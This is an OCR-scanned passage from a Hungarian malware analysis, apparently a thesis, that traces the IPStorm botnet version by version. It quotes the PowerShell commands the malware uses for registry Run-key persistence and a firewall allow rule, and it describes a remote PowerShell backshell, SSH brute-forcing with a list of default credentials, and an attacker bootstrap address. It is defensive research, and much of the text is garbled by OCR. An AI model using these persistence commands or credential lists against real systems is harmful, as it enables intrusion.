
random characters>\AppData\<random file name>.exe

A mappanév elsd tagjat a kovetkezd listdbol valasztja

— Microsoft. AAD.BrokerPlugin — Microsoft. ECApp
— Microsoft. AccountsControl — Microsoft.LockApp
— Microsoft. AsyncTextService — Adobe.Photoshop
— Microsoft.BioEnrollment — Adobe.Illustrator

— Microsoft.CredDialogHost — Adobe.Reader

a masodik tagot az aldbbi karaktersorozatbdl 13 véletlenszer( karaktert védlasztva képzi.

gqwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890

A féjlnevet is egy listabdl valasztja ki véletlenszertien, mely a kovetkezd:

— svchost — smss — winsys — conhost
— CSISS — taskhost — jusched — CSrISS
— rundll32 — unsecapp - BCU — dwm
— winlogon — AdobeARM — wscentfy — sidebar
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— ADService — ctfmon — spoolsv — MSASCui
— AppServices — lIsass — RTHDCPL
— acrotray — realsched — RTDCPL

A generdlt elérési utra a memoridban tarolt z1ib tomoritett Allomanyt kitomoriti, majd elkésziti

aregistry bejegyzéseket. A kulcs elkészitéséhez az alabbi parancsot hasznélja:

New-Item HKCU:\Software\Microsoft\FixDrive\Registration -Value "" -

Force -ErrorAction SilentlyContinue

A -Value "" miatta (default) érték be lesz éllitva egy iires karakterldncra, szemben az alap-
értelmezett, nem bedllitott értékkel. Ez nem meghatdrozé mikodési jellemzd, de egy eltérés a
szokdsos bedllitdsoktdl. A kulcs létrehozdsa utan 1étrehoz egy dj értéket, neve a node PeerID

base58 kddolva, értéke a telepitési dtvonal.

Set-ItemProperty HKCU:\Software\Microsoft\FixDrive\Registration -Name

"<baseb8 PeerID>" -Value "<installation path>" -Force

Annak érdekében, hogy az eszkoz djrainduldsa utdn is elinduljon, hozzdadja magét az auto-

matikusan indul6 programok kozé, ehhez a kovetkezd parancsot haszndlja:

Set-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -

Name "MicrosoftFixDrive" -Value "<installation path>" -Force

Ez egy altaldnos kulcs arra a célra, hogy induldskor elinduljanak a programok automatikusan,
mads programok legitim céllal is haszndljak. Utolsé 1é€pésként az Gjonnan telepitett programot

elinditja az alabbi paranccsal:

cmd.exe /C start <installation path>

Amennyiben sikeriilt, az eredeti példany kilép és hagyja futni az Gjonnan telepitett masolatat,

amely a 6.2.1 Antivirus megkertilés fejezet szerint kezd futni.

6.2.9 Frissitési mechanizmus

A frissitési mechanizmus elinditdsdhoz csak akkor jut el, ha mér a perzisztencia megtortént és
Ujra lett inditva az alkalmazds az 4j helyrdl. A frissitési mechanizmus egy percenként megtor-

ténd eljardshivas, ami a 6.2.5 Elosztott adatbézis szekcioban ismertetett leguijabb verzidszamot
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tarol6 adatbézis kulcsbol lekéri az aktudlis verziét. Amennyiben nem egyezik az értéke a sa-
jat verziészamadval, elkezdddik a frissitési mtivelet. Megjegyzendd, hogy az Gsszehasonlitds
pusztdn azon alapszik, hogy a két karaktersorozat pontosan megegyezik vagy sem, nem alkal-
maz semmilyen logikdt annak érdekében, hogy ne torténhessen frissités alacsonyabb verzidra.
Eléfordulhat, hogy ezt ki is hasznéltdk, mert a storm/node. (*Node) .UpdateVersion elji-
rds mellett, amely a verziét jelzG kulcs médositasaért felel, megtaldlhaté egy masik eljaras is, a
storm/node. (*Node) .UpdateVersionRandom, ami egy véletlenszer( 5 karakteres karakter-

sorozatot készit ugyanazzal a technikdval, mint a perzisztencia soran.

A frissitési mtivelet a storm/node. (*Node) .startUpdateVersion hivdsdval indul, ami a
DDB-bdl a jelenlegi operacids rendszerhez és architektirdhoz tartoz6 kulcsbol lekéri a legfris-

sebb verzidhoz tartoz6 SHA256 ellendrz6osszeget. A kulcs formatuma a kovetkezd:

file-checksum/windows/putty.exe

Miel6tt a folyamat folytatédna, meghivja a storm/filetransfer.GetFile-t, amivel ellen-
orzi, hogy a jelenlegi node altal szolgéltatott f4jlok kozott megtaldlhaté-e és visszaadja a fajlt,
ha van. Amennyiben nincs, a DDB-bdI az aldbbi kulcshoz tartoz6 peer-ek koziil véletlenszertien

véalaszt egyet.

seeders:<SHA256 checksum>

A vélasztott peer-nek az sfst protokollt hasznédlva egy GET kérést kiild, ellendrzi a fogadott fajl
ellen6rz80sszegét, majd ez a node is kiszolgdldjava valik a fajinak. A folyamat hasonld, mint ami
a 6.2.5 Elosztott adatbézis fejezetben ismertetett seed parancs esetén torténik. A letoltott fajllal
ezutdn elinditdsra keriil a 6.2.8 Perzisztencia fejezet azon esete, amely verziéfrissités esetén
torténik, majd a storm/util.Exec hivdsdval az djonnan perzisztdlt fjl elinditdsra keriil az

aldbbi paranccsal és a jelenlegi folyamat kilép, hagyva az 4j verziot futni.

cmd.exe /C start <installation path>

A frissitési algoritmusnak van egy olyan lehetséges hibdja, mely esetén megszakad a frissitési
folyamat €s a régi verzi6 megmarad. Ennek az el§idézéséhez a node-hoz hamarabb kell eljutnia
egy seed parancsnak, mint hogy maga észreveszi, hogy dj verzié érhets el. Ekkor ugyanis
a storm/filetransfer.GetFile azt jelzi, hogy a node mar rendelkezik egy ilyen féjllal és
ha az ellen6rz&0sszeg is egyezik, a frissitési folyamat megéll. Ez nem lehetetlen, de nem all

rendelkezésemre az az informdcid, hogy a seed parancs milyen esetekben kertil kikiildésre.
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Ahhoz, hogy tjra lehetségessé valjon a frissités, a teljes [PStorm folyamatnak tjra kell indulnia,
példaul az eszkoz ujrainditdsdval. A frissités ekkor sem garantélt, csak akkor, ha nem érkezik

hamarabb egy seed parancs.

6.3 0.0.1f dinamikus elemzése

Az 4lloményt a CAPEvV2 sandbox segitségével dinamikus elemzéssel is elemeztem. Lathatéak
voltak az informdcidk gydjtésére hasznalt cmd.exe és powershell.exe folyamatok is (13.4). A
sandbox-ban készitett viselkedés elemzésben rendelkezésre dllnak a folyamatok 4ltal hasznélt
Windows API hivisok is. Ebbd]l megéllapithatd, hogy a PowerShell folyamat milyen parancsot
kapott a standard input-on keresztiil. A github.com/bhendo/go-powershell csomag bel-
s6 mikodését segitd specidlis hatarold karaktersorozatot kiiré utasitdsok is megfigyelhetSek a

parancs végén [41].

New-NetFirewallRule -Displayname "C:\Users\[redacted]\AppData\Local\
Temp\01658e8cc706056acab0304b.exe" -Direction Inbound -Program "C
:\Users\ [redacted] \AppData\Local\Temp\01658e8cc706056aca50304b.exe
" -Action Allow; echo '$gorilla05c31bf0406£59b202d97551$"'; [
Console] : :Error.WriteLine('$gorillac2db1853b5c728b802a0dc61$")

Az elemzés sordn a hdldzati forgalom is rogzitésre kertilt, igy lehetGség van a forgalom elem-
z€sére is. Ezzel megmagyardzhaté miért nincs a folyamatlistdban a telepitett, majd djraindi-
tott folyamat sem. Ahogy a 6.3 dbran ldtszik, a node a protokoll egyeztetési folyamat sordn
/secio/1.0.0 protokoll azonositét timogatja, a bootstrap node viszont nem tdmogatja ezt a
protokollt, ezt az 504 azonositdju csomagban egy na iizenettel, azaz Not Available iizenettel
kozli [42]. Mivel nincs egyezd protokoll, amit mind a két fél ismer, a kapcsolat lezardsra keriil.
A Secio protokoll 2020-ban kivezetésre keriilt a libp2p-bdl és a hozza kapcsolddo szoftverekbdl
[43].
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No. Time Source Destination Protocol Length  Info

493 47.733691 192.168.1.161 104.131.131.82 TCP 54 49775 - 4001 [ACK] Seq=
494 47.736905 192.168.1.161 104.131.131.82 TCP 74 49775 — 4001 [PSH, ACK]
498 47.899848 104.131.131.82 192.168.1.101 TCP 74 4001 - 49775 [PSH, ACK]
499 47.900938 192.168.1.181 104.131.131.82 TCP 68 49775 — 4001 [PSH, ACK]
500 47.902305 104.131.131.82 192.168.1.101 TCP 54 4001 - 49775 [ACK] Seq=
503 48.066571 104.131.131.82 192.168.1.101 TCP 54 4001 - 49775 [ACK] Seq=
504 48.066602 104.131.131.82 192.168.1.101 TCP 58 4001 - 49775 [PSH, ACK]
3  192.168.1.1601 104.131.131.82 TCP 54 49775 - 4001 [RST, ACK]
bc 24 11 b3 b7 ed bc 24 11 ef 47 4a 0B 00 45 @0 5 b 01--E
00 36 59 ac 40 00 80 @6 T3 32 c® aB 01 65 68 83 &Y -@ 2 eh
83 52 c2 6f Of al 63 1d 39 56 cB® 92 ec @8 50 18 R-o v P
04 01 ae Bb B0 @8 Bd 2f 73 65 63 69 6f 2 31 2e / secio/1.
30 2e 30 Ba g.0

6.3. abra: 0.0.1f verzié halozati forgalma a CAPEv2 sandobox elemzésében

Ez az oka annak, hogy nem lathat6 tobb aktivitds, mert a 6.2.3 1libp2p node elkészitése fejezet-
ben ismertetett folyamat a bootstrap node-okkal torténd kapcsolatlétesitésnél elakad, tehat nem
torténik meg a perzisztencia sem. Ez a megfigyelés igaz a szamomra elérhet6 0sszes Windows
operdacids rendszert célzé verziora, azaz a 0.0.1f-tdl a 0.0.3m-ig, igy a késébbi verziokban nem
lesz a dinamikus elemzés részletezve. Ezek a verzidk a manapsdg tdmogatott protokollokkal

tulajdonképpen miikodésképtelenek.

6.4 0.0.1f mikodéséi osszefoglalo

Az IPStorm az IPFS, illetve a libp2p adta lehetGségeket haszndlja a kommunikacio lebonyolité-
séra, ehhez haszndl pubsub topic-okat, egyedi protokollokat és ezekre épitve elosztott adatbazist
tart fent az elérhetd verzidkrdl, illetve, hogy mely verzidk mely node-okrdl érhetSek el. Képes

perzisztencidra €s tjabb verziéra cserélni magat az 1j funkcidk alkalmazésa érdekében.

Az uj verziok a megfelel§ adatbdziskulccsal kertilnek terjesztésre, ezt minden node észre-
veszi €s a kezdetben csak a C2 szerverrdl elérhet§ verziot toltik le, perzisztdljdk az eszkozon,
inditjdk el és szolgdltatjak az dj verziot a tobbi node szdmdra, igy kialakitva az elosztott rend-
szert. Megfigyelhetd, hogy az ismertetett miikodésben nincs olyan eszkoz, amellyel barmilyen
art6 szadndéku tevékenységet tudna végrehajtani, jelenleg a funkcionalitds a hdldzat fenntartdsara

és az eszkozon torténd perzisztaldsra korlatozodik.
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A mikoddés kordntsem tokéletes, a 6.2.9 Frissitési mechanizmus fejezetben ismertetett a fris-
sitést esetlegesen akaddlyozé programhiba akar akadédlyozhatta volna a teljes hal6zat frissitési
képességét, ez nem vagy nem teljesen tortént meg, hiszen jelentek meg tjabb verziok €s az Ano-
mali Threat Research sem szdmolt be arrdl, hogy ilyet tapasztaltak volna. Mivel hidnyzik az a
részlet, hogy a problémadt okoz parancs mikor keriil kikiildésre, nem hatdrozhat6 meg ponto-
san az el6forduldsa. Ezen til, a protokollokat €s a kommunikaciés modszereket megfigyelve
észrevehetd, hogy nincs semmiféle azonositds, hitelesités vagy korldtozas arra vonatkozolag,
hogy bizonyos iizenetek honnan €s kitdl johetnek. Tehdt barki, aki ismeri az azonositokat és a
protokollok tizenetformatumait, képes lehet akdr sajat programverziot is terjeszteni a hal6zaton,
ezzel akar megsziintetve a teljes hdlézatot vagy éppen a frissitési algoritmus hibajat szdndékosan

el6idézni.

6.5 0.0.1n valtozasai

A 0.0.1n-es verzioban (36d65246) bekeriilt a storm/node. (*Node) .ConnectToNodes—fm,
amely a tobbi IPStorm node-dal valé kapcsolat kiépitéséért felel. A 6.2.3 libp2p node elké-
szitése fejezetben ismertetett IPStorm node-okat azonosité namespace haszndlatdval keresi meg
a tobbi node-ot. Ezzel lehetdvé téve nem csak az esetleges fdjlatvitel sordn 1étrejové kapcso-
latokat, hanem szdndékosan épiti ki ezeket, ezzel javitva a pubsub topic-okban az informécié

terjedés sebességét.

Masik ujitds az Info topic-ba kiildott informécidkat érinti. A 6.2.6 Info és Cmd topic-ok
fejezetben emlitésre keriilt, hogy nem az 0sszes informaci6 kertiil elkiildésre, ezt most megval-
toztattadk €s a felhasznalora vonatkozo6 informécidkat is elkiildi. A formatum a kovetkezd, csak

az Uj mezGk vannak feltiintetve:

{
"Uid": <uid>,
"Gid": <gid>,
"UserName": "<Username>",
"UserDisplayName": "<Display name>",
"UserHomeDir": "<Home directory path>",

"IsAdmin": <true/false>
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6.6 0.0.2 valtozasai

A 0.0.2-es verzidban (2e751a98) egy Uj modul jelent meg, a storm/logging. A modul fel-
adata, hogy a log iizeneteket, amit eddig csak az sdtout-ra irt ki, azt kiildje egy pubsub topic-ba
is. Az lizeneteket az 6sszes IPStorm node megkapja, de nem tesznek vele semmit, valészindleg
csak a fejlesztSknél taldlhaté verzid gydjti 6ssze Sket tdvoli monitorozas €s hibakeresés megva-
l16sitdsara. A modul egy 1j pubsub topic-ot haszndl, melyre kozvetleniil a libp2p Node objektum

elkészitése utdn iratkozik fel. A topic azonositdja a 12.3 tdbldzatban van feltiintetve.

6.7 0.0.2b valtozasai

A 0.0.2b verzidéban (039ae75e) amain.serveSelf-ben a perzisztilds mddszere valtozott. Fel-
tehetGleg a korabbi megoldds nem mindig volt sikeres, ezért az Gj mddszer 60-szor probdlja meg

a perzisztencidt, 30 mdsodperces id6kozonként.

6.8 0.0.2e valtozasai

A 0.0.2e verzidban (e093152a) tobb lényeges valtozas is tortént. A 6.2.1 Antivirus megkerii-
1és fejezetben ismertetett storm/avbypass.allocateMemory iterdciészamat 1000-r8l 100-ra
csokkentették, és a 102400000 elem( tomb létrehozdsat is megsziintették, feltehetden azért, mert
ez is kellGen hatékony volt a detektdlds elkeriilésében. Megvéltoztatasra keriilt a lock féjl neve
is, az Gj név a n3R1PYfY, oka vagy egy korabbi verzidban tortént hiba, ami megakadalyozta az
Ujabb IPStorm verzidk elinduldsat, vagy ami a valészintibb, hogy a korédbbi f4jlnév szokatlanul

e

hosszu, ezért feltling, konnyebben detektdlhatd, mint az aj, rovidebb fajlnév.

Az eszkozok egyértelmi azonositdsa érdekében Uj platform specifikus megoldas keriilt be-
vezetésre. Uj eljards a storm/util.collectRuntimeInfo0SSpecific jelent meg, célja az
eszkdzhoz egy egyedi azonositot megallapitani, mellyel az Gjrainditdsok kozott is konzisztensen
azonosithatéak lesznek. Az azonositdsdhoz a Windows ClientMachinelD azonosit6jit haszndlja

fel, lekéréséhez a kovetkezd PowerShell parancsot haszndlja:

Get-WmiObject -query 'select ClientMachineID from
SoftwarelLicensingService' | Select-Object -Property

ClientMachineID | Format-List | Out-String -width 8192
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Az Uj informécié tovabbitdsra is keriil az Info topic-ba ComputerID néven és egy tovdbbi

informdaciok formatuma a kovetkezd, csak az uj mezd8k vannak feltiintetve:

{ ...
"ExecutablePath": "<Executable path>",

"ComputerID": "<Computer ID>"

6.9 0.0.2k és 0.0.2m valtozasai

A 0.0.2k verziéban (f5ac2e7a) jelent meg az elsd olyan funkcionalitds, mely méar nem csak
a hdlézat mikodtetésére koncentrdl, hanem tényleges, akar 4rt6 szdndéku tevékenység is végre-
hajthaté vele. Az Gj modul a storm/backshell. Funkcionalitdsa egy interaktiv shell biztositasa

az eszkozre PowerShell segitségével.

A PowerShell folyamatot a mér ismert powershell.exe -NoExit -Command - paranccsal
inditja, amely innentdl képes a kiildott parancsok fogadasara és a kimenet elkiildésére. Az adat-
folyam egy udj protokollon keresztiil torténik, a protokoll azonosité az /sbst/1.0.0. Formé-
tuma nem kotott, a kiildott parancs a PowerShell folyamatnak keriil tovébbitasra, a PowerShell
kimenete pedig visszakiildésre keriil. Az adattovabbitds 64 byte-onként torténik, ez az stdin-en

okozhat problémat, ha a tobb byte hosszu karakterek a 64 byte hatdrdra esnek.

Ebben a verzidban tortént az els libp2p node konfigurdcids véltoztatds is, letiltottdk az
OptDiscovery-t. Ennek 6nmagaban nem valdszind, hogy nagy hatdsa van a halézatra. Oka va-

16szintileg a kovetkez§ verziokban tortént atalakitdsokra torténd felkésziilés vagy kisérletezés.

A 0.0.2m verzidban (25451754) a backshell mdr nem 64 byte-onként tovabbitja az adatot,
hanem 4ttértek a soronként torténd tovabbitasra, ezzel kivédve az el§z6 verzioban a 64 byte-ra

osztasbol eredd esetleges problémékat.

6.10 0.0.2n és 0.0.2p valtozasai

A 0.0.2n verziéban (5918446d) tovabbi node konfiguraciés médositasok lettek, az OptActive és

OptHop letiltasra kertilt, de az OptDiscovery-t Ujra engedélyezték.
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A 0.0.2p verzidban (41ec6577) bevezetésre keriilt a libp2p AutoRelay funkciéja, ami lehe-
t6vé teszi a node-ok szdmadra, hogy amennyiben sziikséges a halézati koriilmények miatt, akkor
felfedezhetnek, illetve haszndlhatnak olyan node-okat amelyek relay szolgéltatast nydjtanak, ez-
zel segitve a node-ok és ezdltal az [PStorm node-ok kozotti kapcsolatfelépitést. A relay bealli-
tasok kozott djra engedélyezve lett az OptHop, tehdt jelenleg az OptHop és az OptDiscovery is

engedélyezve van.

Tovabbi véltoztatds a verzidban, hogy eltavolitdsra keriilt a DHT inicializdlashoz hasznalt
storm/node. (*Node) .bootstrapDHT hivds, kovetkezményképpen eltdvolitidsra keriilt a
BootstrapOnce hivisa is, ennek eredményeképpen a node csak minimadlis informacidval ren-
delkezik a hal6zat tobbi node-jardl, azaz a tobbi IPStorm node-dal val6 kommunikacidja korlato-
zott lehet. Azt feltételezem, hogy ez a hivas vagy véletleniil lett eltdvolitva, vagy az 4j transport

protokoll bevezetése idejére szandékosan lett kivéve.

6.11 0.0.2r valtozasai

A 0.0.2r verzidban (cOcfc62c) egy Uj transport megoldas, a QUIC elSkészitése kezdddott. A
hasznélt csomag a go-1ibp2p-quic-transport v0.0.1-es verzidja 2019-03-02 datummal, ez
a verzio a korai Google QUIC verzidkat tdimogatja, nevesitve a Q039, Q043 és Q044 protokoll
verzidkat [44]. A csomag ekkor rendelkezett egy olyan korlatozdssal, hogy csak RSA kulcsot
hasznal6 node-okkal miikodott [45], ezért a korabbi Ed25519 kulcs 2048 bites RSA kulcsra lett
lecserélve. Ezekkel a véltoztatasokkal egyiitt az OptHop ujra letiltasra keriilt, el6fordulhat hogy
a 0.0.2p és 0.0.2r verzi6 kozott keriilt letiltdsra a QUIC bevezetésének késziileteként, de nincs

arra lehet8ség, hogy err6l megbizonyosodjak.

6.12 0.0.2u valtozasai

A 0.0.2u verzidban (fe8dc495) tobb valtozas is tortént. A node konfiguracié ConnectionMa-
nager objekutmdban a minimum kapcsolatszdmot 384-r8l 512-re emelték, tehat a node tobb
kapcsolat fenntartdsara fog torekedni, €s a maximalis kapcsolatszdmot 512-r61 1024-re novel-
ték. Kordbban csak az mplex multiplexer volt engedélyezve, de kivették az explicit limitaciot,

igy az mplex és a yamux is engedélyezve lett.

Tovabbi valtoztatds, hogy a QUIC transport engedélyezve lett, és a bejovd kapcsolatokat a
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korabbi /ip4/0.0.0.0/tcp/0 mellettaz /ip4/0.0.0.0/udp/0/quic-en is fogadja. Ez azt is
jelenti, hogy a kommunikécié innentSl nem csak TCP portokon fog zajlani, hanem UDP porto-

kon keresztiil is.

6.13 0.0.2w valtozasai

A 0.0.2w verzioban (8b24e640) pétolva lett a 0.0.2p-ben eltdvolitdsra keriilt hivdsa a
storm/node. (*Node) .bootstrapDHT-nek és ezzel egyiitt a BootstrapOnce hivdsa is hely-
redllt, igy jobb peer felderitési képességgel mikodteti a hdlézatot. Az OptHop is tjra engedé-

lyezésre keriilt.

6.14 0.0.2x verziok valtozasai

0.0.2x verzidval rendelkezd binarisbol kettd darab is rendelkezésemre all, mindkett$ rendelkezik
UPX tomoritett varidnssal €s mindkettS eredeti példanynak tiinik, az Anomali Threat Research
altal kiadott elemzésben is mindkettdnek a hash-e megtaldlhaté. Mivel nincs médom arra, hogy
egyértelmiien megallapitsam, hogy melyik késziilt kordbban, ezért a valtozasok alapjan vélt sor-

rend alapjan valasztom az egyiket els6nek.

A frissitési mechanizmus szempontjdbdl, ha egy 1j bindris keriil kiaddsra azonos verzidval
akkor amikor a letoltendd 1j verzio ellenrz8osszege keriil az adatbazisbol lekérésre, akkor mér
az Ujabb verzi6ét kapja meg, igy amennyiben egy kordbbi verziészamon van, zavartalan a fris-
sités. Probléma akkor meriilhet csak fel, ha mar azonos verzidszamra frissitett a node, akkor

ugyanis nem értesiil az ellendrz60sszeg megvaltozasarol.

2 2z

A 85319212 ellen6rz8osszeggel rendelkezd allomédnyban letiltdsra keriilt az Gsszes relay
funkcionalitds, tehat az OptActive, OptHop és OptDiscovery is letiltdsra keriilt, és eltavolitasra

keriilt a ConnectionManager konfiguraciés objektum is.

A deOb86fe ellendrz-Osszegli bindrist a kordbbi 856319212 ellendrz6-0sszegtthoz hasonli-
tom. Ehhez képest eltdvolitdsra keriilt a storm/node. (*Node) . ConnectToNodes-fm, mely
hatdsdra ez a verzi6 mir nem kezdeményezi a tobbi [PStorm node feltérképezését, illetve ujra
1étre lett hozva a ConnectionManager konfiguracids objektum, a korabbi objektumhoz képest a
minimdlis kapcsolatszamot 512-r8l 256-ra, a maximadlis kapcsolatszdmot 1024-r61 512-re csok-

kentették.
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6.15 0.0.2y verziok valtozasai

A 0.0.2y verziokndl is hasonl6 a helyzet, mint a 0.0.2x-nél. A vélasztds itt is a valtozasok alapjan

tortént.

A cc124869 ellendrz6osszeggel rendelkezd példanyban djra visszakertilt az el6z8ben kivett
storm/node. (*Node) . ConnectToNodes-fm, mely hatdsdra ismét aktivan keresi és 1étesit kap-

csolatot a tobbi IPStorm node-dal.

2z 2 22

5d980f a3 ellendrz8osszeggel rendelkezd dlloményt az el§z6vel (cc124869) hasonlitom Ossze.

Ehhez képest djra engedélyezve lett az OptHop €s az OptDiscovery.

6.16 0.0.2z valtozasai

A 0.0.2z verziéban (365480a6) eltdvolitasra keriilt az AutoRelay funkcid, tehat az IPStorm
node-ok jelenleg nem tudnak automatikusan relay szolgdltatdssal rendelkez$ peer-t taldlni. A
relay konfiguracion ismét véltoztattak, az OptDiscovery ujra letiltdsra keriilt, jelenleg csak az
OptHop aktiv. Tovébbi valtozds, hogy a /p2p-circuit multiaddress-t hozzdadasra keriilt a
ListenAddrStrings objektumhoz. Ez annak a jele lehet, hogy a relay funkcionalitdssal to-
vabbra is gond volt, mert ez a multiaddress az OptHop haszndlatdval automatikusan hozzdadasra
keriil [46], tehdt most kétszer keriilt hozzdadasra. Ezt alatimasztani latszik, hogy a Connecti-
onManager objektumban a minimélis kapcsolatszdmot 256-r61 4000-re, a maximadlis kapcsolat-
szamot pedig 512-r8l 4200-ra novelték, ez egy olyan nagyardnyu novelés, amit csak akkor latok

indokoltnak, ha valami probléma van a haldzattal.

6.17 0.0.3b valtozasai

A 0.0.3b verzidban (948042a3) tobb lényeges vdltozds tortént, az el6zd 0.0.2z verzidban a
ListenAddrStrings objektumhoz hozzdadott /p2p-circuit eltdvolitdsra keriilt és a Con-
nectionManager objektumnak is 4000-r81 384-re csokkentették a minimdlis kapcsolatszdmat €s
4200-r61 512-re a maximdlis kapcsolatszdmot, ez aldtdmasztani 1atszik a kordbbi verzidban fel-

vetett hdlézati problémadkat.

Egy uj bootstrap peer is keriilt a kédba, amely a tdmadok sajat infrastruktirdjdhoz tartozik,

ezzel a cimmel a Bitdefener kutatéi is taldlkoztak a késébbi verziok elemzése soran [2]. A kédba
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beépitésre keriilt egy olyan mechanizmus is, ami meggatolja az ehhez a peer-hez torténd csatla-
kozast, amennyiben a node PeerID-je ugyanaz mint a cimben szerepld, mds szavakkal, ha azon az
eszkozon fut, akkor sajat magdhoz ne prébdljon csatlakozni. Ez azt is jelenti, hogy ugyanabbdl a
forrdskodbol késziil a C2 szerver €s a terjesztett példanyok is. Az IP cim és WHOIS informéci-
ok alapjan egy francia felhdszolgéltatondl béreltek eszkozt a node futtatdsdra. A bootstrap peer

cime a kovetkezd:

/ip4/212.X.X.100/tcp/4001/ipfs/
Qmeb3X55MaoKhZfYsUHFgkZWAz3ZFtQCQz6giakEgqamo7a2

6.18 0.0.3g valtozasai

A 0.0.3g verzioban (4549a271) két nagy véltoztatds figyelhet6 meg, két ij modul jelent meg
a storm/handshake és a storm/vpngate. A storm/handshake module beépitésre keriilt a
bootstrap node-okhoz, €s a tobbi felfedezett IPStorm node-hoz torténd csatlakozés folyamatdba
is. A bootstrap node-ok esetében minden esetben, az IPStorm node-ok esetében csak abban az
esetben probdlja haszndlni a handshake protokollt, amennyiben a csatlakozds kordbban sikerte-

len volt.

A handshake modulnak két szerepe van. Az elsG, hogy amennyiben sikertelen volt a csatla-
kozas, akkor megprobalja relay-en keresztiil elérni, ehhez egy circuit-relay cimet készit a peer-

hez ebben a formatumban:

/p2p-circuit/ipfs/<destination PeerID>

Ez a cimzési tipus azt jelenti, hogy a jelzett peer-t egy nem meghatarozott relay-en keresztiil érje
el. Ha a csatlakozas sikeres, akkor a /shsk/1.0.0 protokoll azonosit6ju handshake protokollon
keresztiili lizenetvaltds kovetkezik. A procedura két lizenetbdl 4ll, az a peer, amelyik a csatla-
kozast kezdeményezte kiild egy HELLO lizenetet a sajat PeerID-javal, majd a masik fél szintén
vélaszol a sajat PeerID-javal. Ha az lizenetvaltas sikeres, akkor a peer el lesz tdrolva mint ismert

IPStorm node. A HELLO iizenet formatuma:

HELLO <source PeerID>\n

Erdemes kiemelni, hogy ezzel az tjitdssal el6szor haszndlja kapcsolatok létesitésére a libp2p

relay funkcionalitdsat. Mivel aktivan keresi a tobbi [PStorm node-ot, illetve van egy k6z0s boot-
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strap node, igy a relay-ek nagy része az IPStorm botnetbdl keriilnek ki. Ebbdl arra is lehet ko-
vetkeztetni, hogy a 0.0.2-es verzidkban latott sok, a relay funkcionalitishoz kothet§ véltoztatds

utan, stabilnak itélték a mikodését.

A vpngate modul VPN (Virtual Private Network) szerverek gydjtésére lett kifejlesztve. M-
kodése a 2 percenként meghivott storm/vpngate.scrape-en alapul, ami letolti a http://ww
w.vpngate.net/api/iphone/ URL-r6l az elérhet6 VPN szerverek listdjat és kigydjti a VPN
szerver nevét, IP cimét, VPN szerver orszagit, és az OpenVPN konfiguriciés dllomanyt. Az
Osszegydjtott szervereket az erre a célra 1étrehozott pubsub topic-ba tovabbitja, melynek azono-
sitdja a 12.3 tdbldzatban van feltiintetve. FeltehetSleg a VPN Gate bizonyos foldrajzi teriiletekre
korldtozott vagy mas szerverlistat kiild, ezért az IPStorm globalis hal6zataval lehetséges ezeket
a korlatozasokat megkeriilve tobb szervert 0sszegydjteni. Ezeket a timadok feltehetSleg tovabb-

értékesitették [2]. A topic-ba kiildott iizenetek formatuma a kovetkezd:

{

"ID": "<server hostname>",

"IP": "<server IP>",

"Country": "<server location>",

"Config": "<base64 encoded OpenVPN configuration>"
}

6.19 0.0.3h és 0.0.3j verziok valtozasai

A 0.0.3h verzidban (66d3799f) nem tortént lényeges valtozas.

A 0.0.3j verziéban (2accb615) megjelent egy periodikus UPnP (Universal Plug and Play)
eszkozt felderitd eljards, 2 percenként fut és a taldlt eszkozok informécidit kifrja a logba. A
logolt paraméterek az eszkoz tipusa, gyartd, megjelenitési neve, model neve és tipusszdma. A
kereséshez a github.com/huin/goupnp modult haszndlja és minden tipust eszkozt és szol-
géltatést felderit az ssdp:all kereséssel. Az eszkozokkel nem tesz semmit, de mivel az Osszes
log a 0.0.2 verzi¢6 6ta elkiildésre keriil, ezért egyszertien megvalosithatd, hogy az elkiildott lo-
gok alapjan felméri, hogy milyen eszko6zok érhetdek el a hdlézatokban, esetlegesen Uj tdmaddsi

vektorokat keresve.
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6.20 0.0.31 és 0.0.3m verziok valtozasai

A 0.0.31 verzidban (3276bcd9) két Gj modul jelent meg, melyek a storm/bruteforce és a
storm/scanner, illetve tovabbfejlesztették az UPnP eszkozokrdl gytjtott informéacidkat. Az
UPnP képes eszkozokrdl most mar az UDN-t (Unique Device Name), azaz az egyedi azonositot,
az eszkoz tipusdt és az eszkoz éltal nyujtott szolgéltatdsok azonositojat és tipusat is 6sszegy(iijti,

de tovédbbra is csak log formdjaban.

Az Gj storm/scanner modul a hdlézat feltérképezéséért felel, az eszkozrdl elérhetS Osszes
halézat, Osszes eszkozén feltérképezi a TCP/22, TCP/80, és TCP/443 portok elérhetGségét, eh-
hez agithub.com/jessfraz/netscan csomagot haszndlja. Minden talélt port logolasra kertil,
ami tovdbbra is tovdbbitva van a Logging topic-ba. Amennyiben a 22-es porton taldl szolgal-
tatdst, a storm/bruteforce.BruteSSH eljirds segitségével megprobdlja, hogy be tud-e 1€pni
az eszkozre. A haszndlt felhaszndlonév és jelsz6 parosok a kovetkezdek (a dupla kett§spont igy

szerepelt a fajlban):

admin:admin

— pi:raspberry - RaspberryPi OS alapértelmezett 2022 4prilis el6tt [47]
— osmc:osmc - OSMC alapértelmezett

— root:root

— root:libreelec - LibreELEC alapértelmezett

— root:openelec - OpenELEC alapértelmezett

— root::raspberrypi

— root:recalboxroot - RecalBox emulicids platform alapértelmezett

— pi:bodhilinux

A jelszavak alapjan lathat6, hogy az érdekldés a Linux operaciés rendszer felé iranyult.
Az RaspberryPi OS-nek, OSMC-nek, LibreELEC-nek, OpenELEC-nek és a RecalBox-nak is a

jellemzd platformja a Raspberry Pi.

A 0.0.3m verzidban (af32455f) a storm/bruteforce.BruteSSH-t mddositottdk, hogy ha
a belépés sikeres, akkor az uname -a parancsot is lefuttatja, ezzel tobb informdcioét szerezve az

eszkOzokrdl.
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6.21 Megjegyzés a 0.0.8h, 0.1.1d és 0.1.15f verziokkal kapcsolatban

A Ghidra jelenleg tartalmaz egy olyan hibat [48] ami meggatolja, hogy a Version Tracking sike-
resen miikodjon x86 és ARM alapu dllomanyok kozott. Ezek a verziok nem keriilnek részletesen
ismertetésre, mert nem all rendelkezésemre x86 architektirdju verzié belSle. A késébbi verzi-
ok ismertetésénél a f6bb valtoztatdsokndl fel lesz tiintetve, amennyiben ezekben a verzidkban

tortént az emlitett valtozas.

6.22 0.1.5g valtozasai

A 0.1.5g verzi6 (59177083) az elsd, amely részletes elemzésre keriilt a Linuxot célz6 verzidk
koziil. A 0.0.3m-hez képest rengeteg valtozas ment végbe, ebben a verzidban az aldbbi modulok

taldlhatéak meg.

storm/backshell - Tdvoli shell hozzaférés

— storm/ddb - Elosztott adatbazis

